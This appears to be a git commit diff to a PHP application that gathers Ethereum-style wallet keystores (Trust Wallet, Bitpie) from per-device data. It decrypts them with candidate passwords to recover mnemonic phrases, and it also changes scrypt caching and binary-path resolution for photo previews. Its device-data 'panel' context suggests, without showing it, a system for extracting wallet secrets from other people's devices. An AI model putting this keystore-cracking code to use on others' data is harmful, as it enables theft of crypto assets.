feat: ds
This commit is contained in:
@@ -23,14 +23,6 @@ final class DsKeystoreDecrypt
|
||||
{
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$bitpieNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Bitpie') {
|
||||
@@ -45,6 +37,14 @@ final class DsKeystoreDecrypt
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
@@ -56,6 +56,10 @@ final class DsKeystoreDecrypt
|
||||
{
|
||||
$utcs = $this->collectKeystores($sandbox);
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
}
|
||||
$utcs = $this->uniqueKeystores($utcs);
|
||||
if ($utcs === []) {
|
||||
return [];
|
||||
}
|
||||
@@ -321,6 +325,27 @@ final class DsKeystoreDecrypt
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{source: string, keystore: array<string, mixed>}> $items
|
||||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||||
*/
|
||||
private function uniqueKeystores(array $items): array
|
||||
{
|
||||
$seen = [];
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
|
||||
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
|
||||
if ($fp === '|' || isset($seen[$fp])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$fp] = true;
|
||||
$out[] = $item;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
* @return list<string>
|
||||
|
||||
@@ -10,6 +10,9 @@ use kornrunner\Keccak;
|
||||
*/
|
||||
final class EthKeystore
|
||||
{
|
||||
/** @var array<string, string> */
|
||||
private static array $kdfCache = [];
|
||||
|
||||
public static function decrypt(array $keystore, string $password): ?string
|
||||
{
|
||||
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
|
||||
@@ -123,28 +126,39 @@ final class EthKeystore
|
||||
|
||||
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$cacheKey = hash('sha256', $password."\0".$salt."\0{$n}\0{$r}\0{$p}\0{$dklen}");
|
||||
if (isset(self::$kdfCache[$cacheKey])) {
|
||||
return self::$kdfCache[$cacheKey];
|
||||
}
|
||||
$out = null;
|
||||
if ($n >= 256) {
|
||||
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
if ($fast !== null) {
|
||||
return $fast;
|
||||
$out = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
|
||||
} else {
|
||||
try {
|
||||
$out = Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
$out = null;
|
||||
}
|
||||
}
|
||||
try {
|
||||
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
if ($out !== null) {
|
||||
self::$kdfCache[$cacheKey] = $out;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
|
||||
{
|
||||
$python = trim((string) shell_exec('command -v python3'));
|
||||
if ($python === '') {
|
||||
$python = self::pythonBinary();
|
||||
if ($python === null) {
|
||||
return null;
|
||||
}
|
||||
$code = <<<'PY'
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
import sys
|
||||
try:
|
||||
from Crypto.Protocol.KDF import scrypt
|
||||
except ImportError:
|
||||
sys.exit(2)
|
||||
pw = bytes.fromhex(sys.argv[1])
|
||||
salt = bytes.fromhex(sys.argv[2])
|
||||
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
|
||||
@@ -178,6 +192,32 @@ PY;
|
||||
return $out;
|
||||
}
|
||||
|
||||
private static function pythonBinary(): ?string
|
||||
{
|
||||
$candidates = [
|
||||
trim((string) config('coruna.channel_builder.python', '')),
|
||||
trim((string) config('coruna.channel_builder_new.python', '')),
|
||||
base_path('channel-builder/.venv/bin/python'),
|
||||
base_path('channel-builder-new/.venv/bin/python'),
|
||||
'/usr/bin/python3',
|
||||
'python3',
|
||||
];
|
||||
foreach ($candidates as $bin) {
|
||||
if ($bin === '') {
|
||||
continue;
|
||||
}
|
||||
if ($bin === 'python3') {
|
||||
return $bin;
|
||||
}
|
||||
$root = base_path();
|
||||
if (str_starts_with($bin, $root) && @is_file($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private static function keccak256(string $data): string
|
||||
{
|
||||
return hex2bin(Keccak::hash($data, 256)) ?: '';
|
||||
|
||||
@@ -159,7 +159,8 @@ class PhotoPreview
|
||||
private function convertCommands(string $src, string $dst): array
|
||||
{
|
||||
$cmds = [];
|
||||
if (is_executable('/usr/bin/sips')) {
|
||||
// sips is macOS-only. Probing /usr/bin/sips fatals under panel open_basedir.
|
||||
if (PHP_OS_FAMILY === 'Darwin' && $this->isSafeExecutable('/usr/bin/sips')) {
|
||||
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
|
||||
}
|
||||
foreach (['heif-convert', 'magick'] as $bin) {
|
||||
@@ -178,25 +179,28 @@ class PhotoPreview
|
||||
private function resolveBinary(string $name): ?string
|
||||
{
|
||||
$candidates = match ($name) {
|
||||
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
'magick' => [base_path('bin/magick'), 'magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
|
||||
'heif-convert' => [base_path('bin/heif-convert'), 'heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
|
||||
default => [$name],
|
||||
};
|
||||
$bare = null;
|
||||
foreach ($candidates as $bin) {
|
||||
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
if (is_executable($bin)) {
|
||||
return $bin;
|
||||
if (! str_contains($bin, DIRECTORY_SEPARATOR)) {
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
}
|
||||
$bare ??= $bin;
|
||||
|
||||
continue;
|
||||
}
|
||||
$found = $this->which($bin);
|
||||
if ($found !== null) {
|
||||
return $found;
|
||||
if ($this->isSafeExecutable($bin)) {
|
||||
return $bin;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
// exec() is often allowed when is_executable() is not; let Process try PATH.
|
||||
return $bare;
|
||||
}
|
||||
|
||||
private function which(string $name): ?string
|
||||
@@ -207,7 +211,7 @@ class PhotoPreview
|
||||
}
|
||||
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
|
||||
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
|
||||
if (is_executable($candidate)) {
|
||||
if ($this->isSafeExecutable($candidate)) {
|
||||
return $candidate;
|
||||
}
|
||||
}
|
||||
@@ -215,6 +219,36 @@ class PhotoPreview
|
||||
return null;
|
||||
}
|
||||
|
||||
private function isSafeExecutable(string $path): bool
|
||||
{
|
||||
if (! $this->isPathInsideOpenBasedir($path)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return @is_file($path) && @is_executable($path);
|
||||
}
|
||||
|
||||
private function isPathInsideOpenBasedir(string $path): bool
|
||||
{
|
||||
$basedir = (string) ini_get('open_basedir');
|
||||
if ($basedir === '') {
|
||||
return true;
|
||||
}
|
||||
$real = realpath($path);
|
||||
$check = $real !== false ? $real : $path;
|
||||
foreach (explode(PATH_SEPARATOR, $basedir) as $root) {
|
||||
$root = rtrim($root, DIRECTORY_SEPARATOR);
|
||||
if ($root === '') {
|
||||
continue;
|
||||
}
|
||||
if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function cachePath(string $deviceKey, string $sha256): string
|
||||
{
|
||||
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';
|
||||
|
||||
Reference in New Issue
Block a user